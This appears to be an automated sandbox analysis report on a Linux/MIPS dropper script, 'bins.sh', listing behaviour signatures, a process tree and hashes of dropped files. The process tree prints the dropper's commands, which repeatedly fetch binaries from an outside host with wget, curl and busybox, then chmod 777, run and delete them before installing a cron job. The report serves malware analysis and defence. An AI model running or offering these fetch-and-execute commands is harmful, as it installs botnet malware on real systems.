Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    05/11/2024, 17:52

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241105-wfp4ksvmfv
  • SHA256 e4879d1e543298df6a627144491470d72ce77e2c4774bd76a9afc8d9861c159b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1804) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 19 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:723
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:725
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:727
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:750
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:754
        • /bin/chmod
          chmod 777 0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
          2⤵
          • File and Directory Permissions Modification
          PID:755
        • /tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
          ./0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
          2⤵
          • Executes dropped EXE
          PID:756
        • /bin/rm
          rm 0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
          2⤵
            PID:758
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:759
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:760
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:762
          • /bin/chmod
            chmod 777 kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
            2⤵
            • File and Directory Permissions Modification
            PID:765
          • /tmp/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
            ./kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
            2⤵
            • Executes dropped EXE
            PID:766
          • /bin/rm
            rm kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
            2⤵
              PID:770
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:771
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:786
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:815
            • /bin/chmod
              chmod 777 u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
              2⤵
              • File and Directory Permissions Modification
              PID:816
            • /tmp/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
              ./u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
              2⤵
              • Executes dropped EXE
              PID:817
            • /bin/rm
              rm u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
              2⤵
                PID:819
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:820
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:835
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:853
              • /bin/chmod
                chmod 777 2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
                2⤵
                • File and Directory Permissions Modification
                PID:854
              • /tmp/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
                ./2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
                2⤵
                • Executes dropped EXE
                PID:855
              • /bin/rm
                rm 2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
                2⤵
                  PID:857
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:858
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:859
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:861
                • /bin/chmod
                  chmod 777 cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
                  2⤵
                  • File and Directory Permissions Modification
                  PID:862
                • /tmp/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
                  ./cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
                  2⤵
                  • Executes dropped EXE
                  PID:863
                • /bin/rm
                  rm cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
                  2⤵
                    PID:865
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:866
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:867
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:869
                  • /bin/chmod
                    chmod 777 vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
                    2⤵
                    • File and Directory Permissions Modification
                    PID:870
                  • /tmp/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
                    ./vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:871
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:873
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:874
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:875
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:876
                        • /bin/rm
                          rm vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
                          2⤵
                            PID:878
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
                            2⤵
                            • System Network Configuration Discovery
                            PID:881

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

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                              Downloads

                              0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA

                              • Path /tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
                              • Size 122KB
                              • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                              • MD5 SHA1 SHA512 SSDEEP

                              2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS

                              • Path /tmp/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
                              • Size 98KB
                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                              • MD5 SHA1 SHA512 SSDEEP

                              cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf

                              • Path /tmp/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
                              • Size 141KB
                              • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                              • MD5 SHA1 SHA512 SSDEEP

                              kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW

                              • Path /tmp/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
                              • Size 107KB
                              • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                              • MD5 SHA1 SHA512 SSDEEP

                              u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n

                              • Path /tmp/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
                              • Size 112KB
                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                              • MD5 SHA1 SHA512 SSDEEP

                              vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess

                              • Path /tmp/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
                              • Size 151KB
                              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                              • MD5 SHA1 SHA512 SSDEEP

                              tmp.oO54yA

                              • Path /var/spool/cron/crontabs/tmp.oO54yA
                              • Size 210B
                              • SHA256 bbb7aeb9a5152422b053637634dc8666086d447837d9e1d3463e78671f9eeefe
                              • MD5 SHA1 SHA512